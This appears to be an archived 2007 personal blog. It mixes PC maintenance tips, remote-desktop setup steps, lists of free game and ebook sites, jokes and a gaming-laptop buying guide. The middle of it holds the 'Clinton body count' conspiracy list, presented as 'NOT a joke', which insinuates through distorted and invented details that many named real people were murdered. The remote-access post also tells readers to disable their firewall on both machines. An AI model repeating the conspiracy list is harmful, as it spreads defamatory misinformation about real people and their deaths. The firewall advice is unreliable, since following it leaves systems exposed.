With the amount of information available for download on the internet, its easy to quickly fill up your valuable hard drive space and turn your computer into a sluggish, unresponsive monster. Keeping your hard drive clean is essential to the high performance that the latest computers can achieve. Fortunately, its a simple process; one that can easily be performed on a regular basis and, with some organization, keep your computer running like a well-oiled machine.You can discover how much hard drive space is available on your computer by accessing the DriveSpace program in your System Tools. A pie graph will show you the amount of used and unused space for each of your drives. Check this often to keep an idea of how much space you are using.

There are six simple steps to clearing up your hard drive:

1. Uninstall unused programs.

Many times a new program will come along that looks fun to have or play with, but after a week or two you simply stop using it. These programs clutter up your drive and take up valuable space. You might be tempted to delete these programs from your drive, but doing so will cause problems. You must use the uninstall function of Windows for the program to be removed safely and completely.

2. Clean out temporary files.

When your computer is not shut down properly, it will pass information from memory into fragmented files. Also, while you are running programs, your computer will write information that it does not immediately need into temporary files. Installation files will also expand themselves into the temporary folder and will not always clean up after themselves. You can delete these temporary files safely by using the Disk Cleanup option in your System Tools.

3. Empty your internet cache.

As you surf the internet your computer stores web pages and images into a temporary internet cache so that it can quickly recall and access information when you move back and forth between pages. This backup information can quickly add up and eat hard drive space.Whether you use Internet Explorer, Netscape, or one of the many other browsers available, emptying out your cache is quick and easy. Simply follow the instructions in the Help files located within those programs. You may also wish to set a specific maximum file size for your cache folder, so that it is not allowed to run rampant.

4. Empty your mail programs of clutter.

Its easy to browse through your email and leave old messages there, promising yourself youll sort them out later. One or two messages dont take up much space, but hundreds certainly do. Take the time to sort through these old emails now and delete what is not important. Create folders and organize what is left. Make it a habit that when new emails come in, they are either filed immediately or thrown away. Set your email program to empty your deleted items folder each time you close your mail program.

5. Empty your recycle bin.

Once youve emptied your drive of cluttering, unecessary programs; empty your recycle bin to remove what has been placed there in the process.

6. Scandisk and Defrag.

When Windows installs programs, it will put the files it needs anywhere that it finds free space, and not directly after the last program installed. As a result, your hard drive has patches of empty space on it that are not big enough to fit a full program, and will result in a drive space error if you attempt to install something new. Scandisk your drive to check for lost file fragments and to fix any errors it finds, then Defrag to pack all of the program files together at the beginning of your drive. This will clear out those empty patches and move all of the free space youve just created to the end of your drive.



When Windows installs programs, it will put the files it needs anywhere that it finds free space, and not directly after the last program installed. As a result, your hard drive has patches of empty space on it that are not big enough to fit a full program, and will result in a drive space error if you attempt to install something new. Scandisk your drive to check for lost file fragments and to fix any errors it finds, then Defrag to pack all of the program files together at the beginning of your drive. This will clear out those empty patches and move all of the free space youve just created to the end of your drive.

Now that youve got it clean, keep it that way. Perform this quick maintenance routine every week. For your work computer, Friday afternoon before you leave for the weekend is the perfect time. When you return to work on Monday, youll have a computer that is clutter-free and as responsive as it should be.

Organize your surfing habits. Direct all of your downloads to the same folder, so that you can easily find them and delete them when necessary, or move them to zip disks for storage. Keep track of the programs that you install. For trial versions, note the date that they will expire on a calendar. This will remind you to uninstall the programs that you can no longer use rather than allowing them to clutter up your drive. Also, if you run into problems, keeping track of new downloaded and installed programs and the date they were installed can help you track down the cause of problems.

Remember that the cleaner your hard drive is, the better your machine will respond! In order for your computer to be user friendly, it must have a friendly user. Be your computers best friend and clean out the cobwebs regularly.

Computer Maintenance Checklist

At system setup

Install a surge suppressor/emergency shutdown power strip
Register your software products Schedule automated updates
Read the maintenance section of your manual
Set up your email to auto-archive older messages
Install anti virus software
Install anti-advertising software
Put your software drivers in a pocket sleeve 3 ring binder

Weekly
Run a disk scan to check for hard drive issues
Run a defragmentation program
Run a clean up to delete unneeded files
Back up your files to a remote location
Empty your recycle bin
Delete your Internet files
Clear your browsing history
Delete your cookies
Update your virus definitions
Run a full virus scanMonthly

Check for updates
Delete/uninstall unneeded or unused programs

Quarterly
Clean your keyboard
Clean your monitor
Clean your peripherals
Rebuild your desktop
Change all your passwords

Yearly
Renew your software update and anti virus subscriptions

Thursday, October 25, 2007

Accessing Ur Office Pc From Ur Home Or Elsewhere

If you want to use office pc at home or elsewhere, then try logmein software, in its free version you can easily connect to your pc at home or work by using your internet explorer.

Visit http://www.logmein.com/ for more info and download free version and install on the pc you want to remotely access.

OR

If you hava a statick IP address you can do it easily,you can connect using Microsoft Terminal Services.

STEP:1

Disable you Windows firewall on both system.

STEP:2

Enable the MSTSC(Terminal Services) Mycomputer-->properties-->remote-->Check the Remote Desktkop & Remote Assistance checkboxes, then add the Remote users.

STEP:3

Set the Workgroup as same as both systems.

STEP:4

Pinging with your office system, its gets reply, using MSTSC command in run, it will displayed Terminal Services Window, in that window give your office system IP address and then connect.

Yeah,Internet Connection Is Mandatory.

Tuesday, October 16, 2007

Some Of The Sites Offering Free Games Downloading (Legal)

Some Of The Sites Offering Free Games Downloading (Legal)

Allegiancehttp://www.freeallegiance.org/

America’s Armyhttp://www.americasarmy.com/downloads/

Anarchy Onlinehttp://www.anarchy-online.com/free/a...s/freecampaign

Armada Onlinehttp://www.armada-online.com/

Assault Cubehttp://assault.cubers.net/

Bang Howdyhttp://www.banghowdy.com/

BloodLust Multiplayer Online Vampire RPGhttp://www.lasthalfofdarkness.com/bloodlust/

BOTShttp://bots.acclaim.com/

BZFlaghttp://www.bzflag.org/

CodeRED: Alien Arenahttp://red.planetarena.org/

Conquer Onlinehttp://www.conqueronline.com/

Corumhttp://corum.gpotato.com/

Cube 2http://sauerbraten.org/

Cubehttp://www.cubeengine.com/cube.php4

Daimoninhttp://www.daimonin.net/

Dark Spacehttp://www.darkspace.net/

Darkedenhttp://en.darkeden.com/

Darsanahttp://darsana-game.com/

D-Day Normandyhttp://dday.planetquake.gamespy.com/site/

Deicidehttp://deicide.ongameport.com/

Digital Paint: Paintball 2http://digitalpaint.planetquake.gamespy.com/

Dungeon Runnershttp://www.dungeonrunners.com/

Entropia Universehttp://www.entropiauniverse.com/index.var

Eternal Wraithhttp://eternal-wraith.com/

F.E.A.R. Combathttp://www.joinfear.com/main

Faldonhttp://www.faldon.net/

Fishing Champhttp://fishingchamp.gamescampus.com/

Flyff:Fly For Funhttp://flyff.gpotato.com/

Freecivhttp://freeciv.wikia.com/wiki/Main_Page

FreeStyle Street Basketballhttp://freestyle.sierraonline.com/

Frets on Firehttp://fretsonfire.sourceforge.net/

Gekkeiju Onlinehttp://www.gekkeijuonline.com/

Glesthttp://www.glest.org/

Global MU Onlinehttp://www.globalmuonline.com/

Golf?http://www.golfquestionmark.com/

Graal Onlinehttp://www.graalonline.com/

Grand Theft Auto 2http://www.rockstargames.com/classics/index.html

Grand Theft Autohttp://www.rockstargames.com/classics/gta.html

Gunboundhttp://gunbound.softnyx.net/

Gunrorhttp://www.asahi-net.or.jp/~cs8k-cyu/windows/gr_e.html

Gunz The Duelhttp://gunzonline.com/

HaloZerohttp://www.dobermannsoftware.com/index.php?p=games&g=1

Hero Onlinehttp://hero.netgame.com/

KAL Onlinehttp://www.kalonline.com/

Knight Online Worldhttp://www.knightonlineworld.com/

Kuma\Warhttp://www.kumawar.com/

Last Chaoshttp://lastchaos.aeriagames.com/

Luniahttp://global.lunia.com/

Maple Storyhttp://www.maplestory.com/

Marathon Trilogyhttp://trilogyrelease.bungie.org/

Martial Heroeshttp://www.martialheroes.com

Mixmasterhttp://www.mixmaster.com.au/

Myth War Onlinehttp://www.mythwaronline.com/

Nhttp://www.harveycartel.org/metanet/n.html

Neverballhttp://icculus.org/neverball/

Nexuizhttp://alientrap.org/nexuiz/

Orbiter Space Flight Simulatorhttp://orbit.medphys.ucl.ac.uk/orbit.html

Parsec47http://www.asahi-net.or.jp/~cs8k-cyu/windows/p47_e.html

Pirate Kinghttp://www.piratekingonline.com/

Plasma Ponghttp://www.plasmapong.com/

Purgehttp://www.purgefinal.com/

Puzzle Pirateshttp://www.puzzlepirates.com/

Racing Pitchhttp://skinflake.com/games/prototypes

Rappelzhttp://rappelz.gpotato.com/

Risk Your Life 2http://www.ryl2.com.my/

rRootagehttp://www.asahi-net.or.jp/~cs8k-cyu/windows/rr_e.html

Rumble Boxhttp://phackett.com/rumblebox/

Rumble Fighterhttp://www.ogplanet.com/rf/default.asp

Savagehttp://www.s2games.com/savage/

Scions of Fatehttp://fate.netgame.com/

Scorched 3dhttp://www.scorched3d.co.uk/

Secrets of Miragehttp://www.secretsofmirage.com/

Shadow Armadahttp://home.comcast.net/~shadowman131/ShadowArmada.htm

Shadowbanehttp://chronicle.ubi.com/

Shattered Galaxyhttp://www.sgalaxy.com/

Silkroadhttp://www.silkroadonline.net/

Space Combathttp://www.x-plane.com/SpaceCombat.html

Space Cowboy Online http://sco.gpotato.com/

Starsiege: Tribesftp://ftp.sierra.com/pub/sierra/trib...s_fullgame.exe

Steel Panthershttp://www.steelpanthersonline.com/

Strange Attractorshttp://www.ominousdev.com/games.html

Tantrahttp://www.tantra.com.ph/

Thang Onlinehttp://thang.ongameport.com/

The Battle for Wesnothhttp://www.wesnoth.org/

The Dinohuntershttp://www.thedinohunters.com/

The Elder Scrolls: Arenahttp://www.elderscrolls.com/download...oads_games.htm

The New Satan Samhttp://satansam.co.uk/blog/?page_id=11

Ticksterhttp://www.tricksteronline.com/

Tobolohttp://toblo.csnation.net/

Torus Trooperhttp://www.asahi-net.or.jp/~cs8k-cyu/windows/tt_e.html

TrackManiahttp://www.trackmanianations.com

Transfusionhttp://www.transfusion-game.com/

Tremuloushttp://tremulous.net/

Tumiki Fightershttp://www.asahi-net.or.jp/~cs8k-cyu/windows/tf_e.html

Turf Battleshttp://www.turfbattles.com/

Urban Terrorhttp://www.urbanterror.net/news.php

War Rockhttp://www.warrock.net/

Wild Metalhttp://www.rockstargames.com/classics/wmc.html

Wolfenstein: Enemy Territoryhttp://www.splashdamage.com/?page_id=14

Xiahhttp://www.gamescampus.com/xiah/


Thanks to the source collector "purified by death"

Monday, October 15, 2007

Some Top Torrent Sites

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Sunday, October 14, 2007

All laptop Brands Discussion In One Site

The best site u should be visiting if are planning to buy a laptop or u wanna know about certain laptop's specification is

http://www.notebookreview.com/

Wednesday, October 10, 2007

Top 10 Free E-books sites

Top Ten Free eBook Websites as of October 07

1. Project Gutenberg: http://www.gutenberg.org

2. The Online Books Page: http://onlinebooks.library.upenn.edu/
Listing over 25,000 free books on the Web. The site is hosted by the University of Pennsylvania Library.

3. Asiaing.com: http://www.asiaing.com
Over 2,000 free ebooks & free magazines. Most of them can be downloaded directly.

4. PSU's Electronic Classics Site: http://www2.hn.psu.edu/faculty/jmanis/jimspdf.htm
Classic works of Literature.

5. PlanetPDF http://www.planetpdf.com/free_pdf_ebooks.asp?CurrentPage=1
Classics works of Literature.

6. University of California, eScholarship Edition: http://content.cdlib.org/escholarship/
The eScholarship Editions collection includes almost 2000 books from academic presses on a range of topics, including art, science, history, music, religion, and fiction.

7. University of Adelaide Library’s collection of Web books:
http://etext.library.adelaide.edu.au/
The collection includes classic works of Literature, Philosophy, Science, and History.

8. AvaxHome.ru: http://www.avaxhome.ru
Some new ebooks. Rapidshare download links. Copyright is a problem.

9. The National Academies Press: http://www.nap.edu
Read more than 3,000 books online FREE!

10.You! Everyone has his own favorite ebook website. Maybe It’s already on the list. Maybe not. It doesn’t matter. The most important thing is that you love eBook.

Tuesday, October 9, 2007

Joke: Why Newton committed suicide

Here is the reason. Why Newton Committed Suicide.....

Once, Newton came to India and watched a few Tamil movies that had his head spinning. He was convinced that all his logic and laws in physics were just a huge pile of junk and apologized for everything he had done.

In the movie of Rajanikanth, Newton was confused to such an extent that he went paranoid.
Here are a few scenes

1) Rajanikanth has a Brain Tumor which, according to the doctors can't be cured and his death is imminent. In one of the fights, our great Rajanikanth is shot in the head. To everybody's surprise, the bullet passes through his ears taking away the tumor along with it and he is cured! Long Live Rajanikanth!

2) In another movie, Rajanikanth is confronted with 3 gangsters. Rajanikanth has a gun but unfortunately only one bullet and a knife. Guess, what he does? He throws the knife at the middle gangster? & shoots the bullet towards the knife. The knife cuts the bullet into 2 pieces, which kills both the gangsters on each side of the middle gangster & the knife kills the middle one.

3) Rajanikanth is chased by a gangster. Rajanikanth has a revolver but no bullets in it. Guess, what he does. Nah? not even in your remotest imaginations. He waits for the gangster to shoot. As soon as the gangster shoots, Rajanikanth opens the bullet compartment of his revolver and catches the bullet. Then, he closes the bullet compartment and fires his gun. Bang... the gangster dies...

This was too much for our Newton to take! He was completely shaken and decided to go back. But he happened to see another movie for one last time, and thought that at least one movie would follow his theory of physics. The whole movie goes fine and Newton is happy that all in the world hasn't changed. Oops, not so fast!

The 'climax' finally arrives. Rajanikanth gets to know that the villain is on the other side of a very high wall. So high that Rajanikanth can't jump even if he tries like one of those superman techniques that our heroes normally use. Rajanikanth has to desperately kill the villain because it's the climax. (Newton dada is smiling since it is virtually impossible?) Rajanikanth suddenly pulls two guns from his pockets. He throws one gun in the air and when the gun has reached above the height of the wall, he uses the second gun and shoots at the trigger of the first gun in air. The first gun fires off and the villain is dead.

Newton commits suicide...

Cosmetics

Luke's wife bought a new line of expensive cosmetics guaranteed to make her look years
younger. After a lengthy sitting before the mirror applying the "miracle" products she asked, "Darling, honestly what age would you say I am?"

Looking over her carefully, Luke replied, "Judging from your skin, twenty; your hair, eighteen; and your figure, twenty-five."

"Oh, you flatterer!" she gushed.

"Hey, wait a minute!" Luke interrupted. "I haven't added them up yet."

Future Mastercard Commercial

Lockheed F-16 Fighting Falcon - $25 million dollars.

Lockheed F-117 Nighthawk Stealth Bomber - $45 million dollars.

Boeing B-52 Stratofortress - $74 million dollars.

Brand new B-2 Stealth Bomber - $2.1 billion dollars.

A decent map of downtown Belgrade - Priceless.

There are some things that money can’t buy … unfortunately good intelligence is one of them.

For the rest, there’s MasterCard: the official card of the 19-member NATO alliance and those who believe that sometimes you just need to blow up something in order to restore peace.

Want to be friends with Clinton

**This is NOT a joke. I don’t think it’s funny, but very interesting!**

The following is a list of dead people connected with Bill & Hillary Clinton’s:

James McDougal - Clinton’s convicted Whitewater partner died of an apparent heart attack, while in solitary confinement, shortly after medical check. He was a key witness in Ken Starr’s investigation.

Mary Mahoney - A former White House intern was murdered July 1997 at a Starbucks Coffee Shop in Georgetown. The murder happened just after she was to go public with her story of sexual harassment in the White House.

Vince Foster - Former white House counselor, and colleague of Hillary Clinton at Little Rock’s Rose law firm. Died of a gunshot wound to the head, ruled a suicide, bullet never found, car was clean.

Ron Brown - Secretary of Commerce and former DNC Chairman. Reported to have died by impact in a plane crash. A pathologist close to the investigation reported that there was a hole in the top of Brown’s skull resembling a 45 caliber gunshot wound. At the time of his death Brown was being investigated, and spoke publicly of his willingness to cut a deal with prosecutors.

C. Victor Raiser II & Montgomery Raiser - Major players in the Clinton fund raising organization died in a private plane crash in July 1992.

Paul Tulley - Democratic National Committee Political Director found dead in a hotel room in Little Rock, September 1992. Described by Clinton as a “Dear friend and trusted advisor”.

Ed Willey - Clinton fund raiser, found dead November 1993 deep in the woods in Virginia of a gunshot wound to the head. Ruled a suicide. Ed Willey died on the same day his wife Kathleen Willey claimed Bill Clinton groped her in the oval office in the White House. Ed Willey was involved in several Clinton fund raising events.

Jerry Parks - Head of Clinton’s gubernatorial security team in Little Rock. Gunned down in his car at a deserted intersection outside Little Rock. Park’s son said his father was building a dossier on Clinton. He allegedly threatened to reveal this information. After he died the files were mysteriously removed from his house.

James Bunch - Died from a gunshot suicide. It was reported that he had a “Black Book” of people containing names of influential people who visited prostitutes in Texas and Arkansas.
James Wilson - Was found dead in May 1993 from an apparent hanging suicide. He was reported to have ties to Whitewater.

Kathy Ferguson - Ex-wife of Arkansas Trooper Danny Ferguson died in May 1994 was found dead in her living room with a gunshot to her head. It was ruled a suicide even though there were several packed suitcases, as if she was going somewhere. Danny Ferguson was a co-defendant along with Bill Clinton in the Paula Jones lawsuit. Kathy Ferguson was a possible corroborating witness for Paula Jones.

Bill Shelton - Arkansas state Trooper and fiancée of Kathy Ferguson. Critical of the suicide ruling of his fiancée, he was found dead in June, 1994 of a gunshot wound also ruled a suicide at the gravesite of his fiancée.

Gandy Baugh - Attorney for Clinton friend Dan Lassater died by jumping out a window of a tall building January, 1994. His client was a convicted drug distributor.

Florence Martin - Accountant sub-contractor for the CIA related to the Barry Seal Mena Airport drug smuggling case. Died of three gunshot wounds.

Suzanne Coleman - Reportedly had an affair with Clinton when he was Arkansas Attorney General. Died of a gunshot wound to the back of the head, ruled a suicide. Was pregnant at the time of her death.

Paula Grober - Clinton’s speech interpreter for the deaf from 1978 until her death December 9,1992. She died in a one car accident.

Danny Casolaro - Investigative reporter. Investigating Mena Airport and Arkansas Development Finance Authority. He slit his wrists, apparent suicide in the middle of his investigation.

Paul Wilcher - Attorney investigating corruption at Mena Airport with Casolaro and the 1980 “October Surprise” was found dead on a toilet June 22, 1993 in his Washington DC apartment. Had delivered a report to Janet Reno 3 weeks before his death.

Jon Parnell Walker - Whitewater investigator for Resolution Trust Corp. Jumped to his death from his Arlington, Virginia apartment balcony August 15, 1993 Was investigating Morgan Guarantee scandal.

Barbara Wise - Commerce Department staffer. Worked closely with Ron Brown and John Huang. Cause of death unknown. Died November 29, 1996. Her bruised nude body was found locked in her office at the Department of Commerce.

Charles Meissner - Assistant Secretary of Commerce who gave John Huang special security clearance, died shortly thereafter in a small plane crash.

Dr. Stanley Heard - Chairman of the National Chiropractic Health Care Advisory Committee died with his attorney Steve Dickson in a small plane crash. Dr. Heard, in addition to serving on Clinton’s advisory council personally treated Clinton’s mother, stepfather and brother.

Barry Seal - Drug running pilot out of Mena Arkansas, Death was no accident.

Johnny Lawhorn Jr. - Mechanic, found a check made out to Clinton in the trunk of a car left in his repair shop. Died when his car hit a utility pole.

Stanley Huggins - Suicide. Investigated Madison Guarantee. His report was never released.

Hershell Friday - Attorney and Clinton fund raiser died March 1, 1994 when his plane exploded.

Kevin Ives & Don Henry - Known as “The boys on the track” case. Reports say the boys may have stumbled upon the Mena Arkansas airport drug operation. Controversial case where initial report of death was due to falling asleep on railroad track. Later reports claim the 2 boys had been slain before being placed on the tracks. Many linked to the case died before their testimony could come before a Grand Jury.

THE FOLLOWING SIX PERSONS HAD INFORMATION ON THE IVES / HENRY CASE:

Keith Coney - Died when his motorcycle slammed into the back of a truck July, 1988

Keith McMaskle - Stabbed 113 times in Nov, 1988

Gregory Collins - Died from a gunshot wound January 1989.

Jeff Rhodes - He was shot, mutilated and found burned in a trash dump in April 1989.

James Milan - Found decapitated. Coroner ruled death due to natural causes.

Jordan Kettleson - Was found shot to death in the front seat of his pickup truck in June 1990.

Richard Winters - Was a suspect in the Ives / Henry deaths. Was killed in a set-up robbery July 1989.

THE FOLLOWING CLINTON BODYGUARDS ARE DEAD:

Major William S. Barkley Jr.
Captain Scott J. Reynolds
Sgt. Brian Hanley
Sgt. Tim Sabe
lMajor General William Robertson
Col. William Densberger
Col. Robert Kelly
Spec. Gary Rhodes
Steve Willis
Robert Williams
Conway LeBleu
Todd McKeehan

Is all of this a coincidence? Would you still like to become friends of Bill?

Signs : Iraq is getting used to Americas bombing

*Owners of Target franchises make plans to open stores back up again.

*Instead of saying, “We are under attack, please take shelter,” citizens are now told, “Here we go again, you know the drill.”

*Everyone wears sunglasses all the time.

*Sarcastic giggling heard just behind live CNN reporters.

*Yesterday’s lead headline in most Iraqi newspapers was “NBA Lockout Continues.”

*Instead of running for cover at the sound of the air raid sirens, the Iraqis do the “Tomahawk Chop.”

*Hussein’s latest address to the nation included the line, “We must resist the Great Satan, yadda yadda yadda…”

*Christiane Amanpour is being invited to rooftop bomb watching parties all over Baghdad.

*Baghdad High’s senior class has playfully painted a bull’s-eye on the roof of the school.

*Iraqi Television Network preempts Hussein’s speech to show “Baywatch.”

*Maps of Baghdad being divided into numbered grids and sold on street corners to play “Cruise Missile Bingo.”

*Baghdad weather girls point to the map and say, “Scattered B-52 bombings and cruise missile strikes tonight through the early morning, with light rocket attacks tomorrow, clearing off by noon.”

*”We could be killed by a bomb any second” no longer an effective pickup line in Iraqi bars.

*Every Iraqi citizen has been issued a catcher’s mitt.

*Students anxiously listen to the radio each morning to listen for school closings.

*Even the ever-hilarious, “Sorry, that was me–must’ve been those BEANS I ate!” jokes are wearing thin.

*Gag gift sales soar with the release of the new “Magnetic Hat.”

Sunday, October 7, 2007

Choosing the best Laptop

The gaming laptop is coming of age! It is steadily increasing in popularity as performance quality goes up. Gamers now regularly consider laptops or notebooks when searching for that perfect gaming machine.

With each new generation of notebooks we are seeing some novel breakthroughs: dual core notebooks, PCI Express, Sonoma chipset, increased storage, increased RAM, faster CPUs, better battery life and better wireless connections including a Cellular Modem. All welcome news for gamers and notebook lovers alike.

Generally, gamers are a very demanding group, they know their computers and they know what they want in their computers. Most gamers like to order their gaming laptop with their own specs and configurations. In that light, if you closely examine the main points gamers consider when configuring or building their Dream Machine -- you will have a good blueprint for the best gaming machine.

Since notebook technology changes every two years or so, it's probably wise to purchase a laptop that can be easily upgraded as new products come on line. So consider the upgradable factor in any notebook that you plan to buy.

Now, lets look at some of these key gaming factors:

GRAPHICS

You must have the best/latest/fastest Graphics on the market. DUH!
Serious gamers are concerned with graphics, obsessed would probably be a better word. And rightly so! Graphics or the quality of the graphic chipset in your notebook computer will be your first area of consideration and it will greatly determine the gaming performance of your PC.
Go with the latest Graphic Chipset and also check to see if you can upgrade your Graphics Card on the particular machine you're thinking about buying. Many machines allow this.
Here are some Graphic Chipsets that are highly rated: ATi Mobility Radeon 9700, ATI's Mobility FireGL V3200 or Intel's Graphics Media Accelerator 900.
ATi Mobility Radeon 9700 is a high quality Graphics Card or visual processing unit (VPU) present in many next generation notebooks. It will give you higher performance at a lower power level, saving battery power.
It makes your notebook computer capable of many functions: 3D games, wide-screen HDTV, dynamic presentations, mobile video editing studio and graphic processor.
Many notebooks now come with integrated graphics, where components interact and are sometimes shared, especially memory. If you want a notebook computer for 3D games -- check the amount of video RAM -- this is memory that's dedicated to graphic or video applications.
Other common graphic chipsets are: STMicro, NVIDIA, 3D Labs, Matrox, Trident S3 and SIS.

RAM

Get the largest amount of RAM possible. DUDE!
RAM or random-access memory will determine how much graphics your notebook computer will be able to handle. It's best to get the largest amount possible on your machine or what you can afford.
It's generally agreed that you need at least 256MB for Windows XP and Mac OS X. You will only need 128MB for other operating systems in Windows or Mac.
RAM or the amount of RAM on your notebook computer is extremely important if you want to handle heavy graphic files or want to play games on your notebook. The more RAM you have, the more applications you will be able to handle. Some notebook now come with up to 2GB of DDR2 533MHz RAM!
DDR2 SDRAM - is a new standard that can boost conventional SDRAM memory up to speeds well over 200MHz and beyond. For example, the IBM ThinkPad T43, thanks to the Sonoma Chipset or platform has 533MHz DDR 2 SDRAM.
This is much better than standard SDRAM which tops out around 150- 166MHz and DDR SDRAM which starts at 200MHz and goes up to around 400MHz.
Video RAM or VRAM is special memory that's used by video adapters on your notebook. This is RAM that is dedicated to handling the visuals and graphics on your notebook computer. This is helpful if you want to play a lot of the latest 3D video games on your notebook.
It is somewhat different from ordinary RAM because it can be accessed by two different devices at once -- enabling screen updates while the video processor processes new data. VRAM provides better graphics but is more expensive than ordinary RAM.

SPEED

You need the fastest computer money can buy. Period!
In order to get the maximum performance from your ultimate gaming computer you must have the fastest speed you can get or afford. Your ultimate PC must be able to process and handle the latest 3D video games with ease. There is nothing as annoying as your PC freezing up in the middle of some major gaming action!

Therefore, your Processor's speed is very important.
CPU or Central Processing Unit, you probably know it as the processor! It's the heart or rather the brain of your notebook or computer. It does all your computer's data processing and applications. Since it does most of the work, it's usually the most expensive part of your notebook computer.

Go with SATA!
SATA is a type of hard drive and stands for Serial Advanced Technology Architecture. It was developed by a whole group of companies including Seagate, Intel, Maxtor, Dell and others. SATA transmit data in a serially (in a single stream) as opposed to PATA or Parallel ATA which is commonly referred to as an IDE hard drive.

Serial ATA hard drives uses less power and are ideal for notebook computers, they are also more advanced than PATA hard drives which uses multipe streams of data -- go figure! But Serial Technology carries data in a single stream and unlike PATA is not limited to a particular clock speed, Serial transfers data packets almost 30 times faster than parallel.

If top performance in your notebook is one of your goals, go with a SATA hard drive.
Intel Pentium M processors are commonly found in a lot of notebooks and laptops. When in doubt also go with a Pentium!

The speed of microprocessors is measured in MHz.
MHz is short for megahertz. One MHz equals one million cycles per second. The speed of processors, usually known as clock speed, is measured in megahertz (MHz) or these days in gigahertz (GHz).
The higher the clock speed, the faster the computer will process applications and data. It determines how powerful your notebook computer will be. Processor speeds for notebooks or laptops are steadily increasing, not quite the same as a desktop but the gap is narrowing quickly. Speeds of 3.4GHz or more.
Don't forget to ask or check the hard drive speed! A 7,200rpm hard drive is faster than a 4,200rpm or 5,400rpm and usually gives better performance.

DISPLAY

You need the sharpest, brightest display screen or all the above points are moot!
Display quality is also extremely important to your gaming experience. Make sure the resolution and display quality of your notebook computer can handle the graphics for 3D Gaming.

What to keep in mind...
SVGA Resolution. Put simply, computer images are made up of dots, the more dots you have -- the better the image. SVGA Resolution is made up of 800 x 600 dots.
Many notebook computer have XGA (1024 by 768 dots) or SXGA (1280 x 1024 dots), these resolutions will give a higher quality image. WXGA stands for widescreen XGA.
TFT Active Matrix Display. TFT stands for thin-film transistors and many high-end notebook computers use (TFT) active matrix liquid crystal displays.
If display quality is your main reason for buying a notebook, it's best to give it the 'old eye test' and check out the image quality first-hand and decide for yourself. Panasonic, Toshiba, Sony, and others are known for their high quality monitors -- this quality is also present in their notebook display screens.

So when buying your perfect Gaming Notebook Remember This:

Graphics + Ram + Speed + Display = Perfect Gaming Notebook

Consider all of the above factors before you buy or config your perfect gaming machine. Chances are high that you will get a top-notch quality Gaming Notebook that will give you hours and hours of pure gaming bliss!

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